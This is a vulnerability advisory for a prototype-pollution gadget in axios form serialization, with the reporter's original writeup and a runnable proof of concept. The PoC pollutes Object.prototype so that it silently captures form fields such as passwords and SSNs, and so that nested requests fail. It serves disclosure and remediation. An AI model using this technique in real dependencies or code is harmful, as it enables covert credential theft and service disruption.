CVE-2026-101909: Axios: Prototype Pollution Gadget in axios toFormData Options
## Summary Axios form serialization reads `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob` from an internal options object without own-property guards. When `Object.prototype` has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies. Axios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures. ## Impact The impact depends on which property is polluted and which axios serialization path the application uses. Polluted `dots`, `indexes`, or `metaTokens` can change field names and cause the receiving service to parse different data than the caller intended. Polluted `maxDepth` can cause nested form submissions to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`, producing request-level or service-level denial of service for affected workflows. Polluted `visitor` can execute as the serializer visitor if an attacker can place a function on `Object.prototype`, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully. ## Affected Functionality Affected: - `axios.toFormData()`. - `transformRequest` paths that serialize plain objects to `multipart/form-data`. - URL-encoded form serialization paths that rely on the same helper. - `formSerializer` option defaults when the relevant properties are absent as own properties. Not affected: - JSON request bodies. - Requests that do not invoke `toFormData()`. - Processes where `Object.prototype` is not polluted. ## Technical Details `lib/helpers/toFormData.js` merges caller options with defaults using `utils.toFlatObject()`. When `options` is `undefined`, `toFlatObject()` returns the default object unchanged: ```js { metaTokens: true, dots: false, indexes: false } ``` That default object has `Object.prototype` in its prototype chain. `toFormData()` then reads behavior-affecting values directly: ```js const metaTokens = options.metaTokens; const visitor = options.visitor || defaultVisitor; const dots = options.dots; const indexes = options.indexes; const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob); const maxDepth = options.maxDepth === undefined ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth; ``` These reads can resolve inherited polluted properties. Local code review confirmed the direct reads in `v1.18.1`. Tag checks show the option-based form serializer exists in `v0.28.0` and later; `maxDepth` appears in the `1.x` line from the form recursion fix. ## Proof of Concept of Attack Constrained local demonstration: ```js Object.prototype.maxDepth = 1; await axios.post(url, { a: { b: { c: 'value' } } }, { headers: { 'Content-Type': 'multipart/form-data' } }); ``` Expected safe behavior is that the default max depth is used unless the caller sets an own `formSerializer.maxDepth`. Current behavior reads the inherited value and can throw `ERR_FORM_DATA_DEPTH_EXCEEDED`. For serializer alteration, polluting `Object.prototype.dots = true` changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior. ## Workarounds Avoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own `formSerializer` object that sets explicit safe values for all relevant keys, including `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob`. <details> <summary><h3>Original report</h3></summary> ### Summary _axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (`visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, `Blob`) are read from a plain JavaScript object that inherits from `Object.prototype` without `hasOwnProperty` guards. When `Object.prototype` has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios' form serialization behavior._ _The highest-impact gadget is `visitor`: a polluted function on `Object.prototype.visitor` is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments._ ### Details #### Root Cause _The attack chain has three steps:_ _**Step 1: `formSerializer` is read safely, but `undefined` flows through**_ _In `lib/defaults/index.js`, the default `transformRequest` function reads `formSerializer` from config using the `own()` helper, which enforces `hasOwnProp`:_ ```js const formSerializer = own(this, 'formSerializer'); ``` _When the user does not explicitly configure `formSerializer`, this correctly returns `undefined`. That `undefined` is then passed as the `options` parameter to `toFormData()`:_ ```js return toFormData(data, _FormData && new _FormData(), formSerializer); // ^^^^^^^^^^^^ undefined ``` _**Step 2: `toFlatObject` returns a plain-object default**_ _Inside `lib/helpers/toFormData.js`, `options` (which is `undefined`) is merged with defaults via `utils.toFlatObject()`:_ ```js options = utils.toFlatObject( options, // undefined { metaTokens: true, dots: false, indexes: false }, // plain object literal false, function defined(option, source) { return !utils.isUndefined(source[option]); } ); ``` _`toFlatObject` has an early-return for null/undefined sources:_ ```js // lib/utils.js:607 if (sourceObj == null) return destObj; ``` _Since `options` is `undefined`, the function returns `destObj` unchanged — the plain object `{ metaTokens: true, dots: false, indexes: false }`. This object's prototype is `Object.prototype`._ _**Step 3: Options are read without `hasOwnProp` guards**_ _The six option properties are read directly from the plain object:_ ```js const metaTokens = options.metaTokens; // line 117 const visitor = options.visitor || defaultVisitor; // line 119 const dots = options.dots; // line 120 const indexes = options.indexes; // line 121 const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob); // line 122 const maxDepth = options.maxDepth === undefined // line 123 ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth; ``` _None of these reads use `utils.hasOwnProp()`. Since the `options` object inherits from `Object.prototype`, any property set on `Object.prototype` by a compromised dependency is resolved through the prototype chain._ #### Why the Existing Defenses Didn't Catch This _axios has extensive prototype pollution defenses. However, those defenses are all focused on the **config** object (created by `mergeConfig`, which returns `Object.create(null)`). The `toFormData` function creates its own internal options object that sits outside that boundary, and the 6 reads on that internal object were never audited._ ### PoC #### Reproduction Steps #### Environment _Any environment with Node.js and npm. Tested on:_ _- Node.js v24.15.0, npm 11.13.0_ _- axios v1.18.1 (latest release at time of writing)_ ##### Step 1: Create a fresh project ```bash mkdir axios-pp-poc cd axios-pp-poc npm init -y npm install [email protected] ``` ##### Step 2: Create the PoC file _Create `poc.mjs` with the following content:_ ```js import axios from 'axios'; import http from 'http'; // Simulate pollution from a compromised transitive dependency let stolen = []; Object.prototype.visitor = function(value, key, path, helpers) { stolen.push({ key, value }); return helpers.defaultVisitor.call(this, value, key, path); }; Object.prototype.maxDepth = 2; const server = http.createServer((req, res) => { res.writeHead(200); res.end('{}'); }); server.listen(0, '127.0.0.1', async () => { const { port } = server.address(); try { // Exfiltration: visitor intercepts all form fields await axios.post(`http://127.0.0.1:${port}/`, { username: 'john', password: 'SuperSecret123!', profile: { ssn: '123-45-6789' } }, { headers: { 'Content-Type': 'multipart/form-data' } }); console.log('Stolen:', stolen); // Stolen: [ // { key: 'username', value: 'john' }, // { key: 'password', value: 'SuperSecret123!' }, // { key: 'profile', value: { ssn: '123-45-6789' } }, // { key: 'ssn', value: '123-45-6789' } // ] // DoS: nested object rejected by polluted maxDepth await axios.post(`http://127.0.0.1:${port}/`, { a: { b: { c: { d: 'value' } } } }, { headers: { 'Content-Type': 'multipart/form-data' } } ); // Throws: ERR_FORM_DATA_DEPTH_EXCEEDED // "Object is too deeply nested (3 levels). Max depth: 2" } finally { delete Object.prototype.visitor; delete Object.prototype.maxDepth; server.close(); } }); ``` ##### Step 3: Run the PoC ```bash node poc.mjs ``` ### Impact #### 1. Data Exfiltration via `visitor` (Confidentiality: High) _A polluted `Object.prototype.visitor` function is called as the form data visitor:_ ```js visitor.call(formData, el, key, path, exposedHelpers) ``` _The attacker receives:_ _- **`value`** — the raw value being serialized (passwords, tokens, PII, API keys)_ _- **`key`** — the field name_ _- **`path`** — the full path array (e.g., `['profile', 'address', 'street']`)_ _- **`exposedHelpers`** — internal helpers including `defaultVisitor`, `convertValue`, `isVisitable`_ _By delegating to `helpers.defaultVisitor`, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server._ #### 2. Denial of Service via `maxDepth` (Availability: Low) _A polluted `Object.prototype.maxDepth` of `1` or `2` causes any moderately nested form data request to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`. Applications that send nested objects as form data (common with APIs that accept `profile[name]`, `address[city]`, etc.) will experience mysterious failures._ #### 3. Data Corruption via `dots`, `indexes`, `metaTokens` (Integrity: Low) _Polluting these options changes the serialization format of form field names:_ _- **`dots: true`** — changes bracket notation (`user[name]`) to dot notation (`user.name`)_ _- **`indexes: true`** — changes array serialization (`items[]`) to indexed (`items[0]`, `items[1]`)_ _- **`metaTokens: false`** — changes `obj{}` keys to raw json strings_ _The server may misinterpret the submitted form data, leading to silent data corruption._ </details> ---
Recommended action
Recommended action
Upgrade affected packages to a patched version: axios 0.34.0, axios 1.20.0.
Technical details
- Vendor
- Not specified
- Product
- axios
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source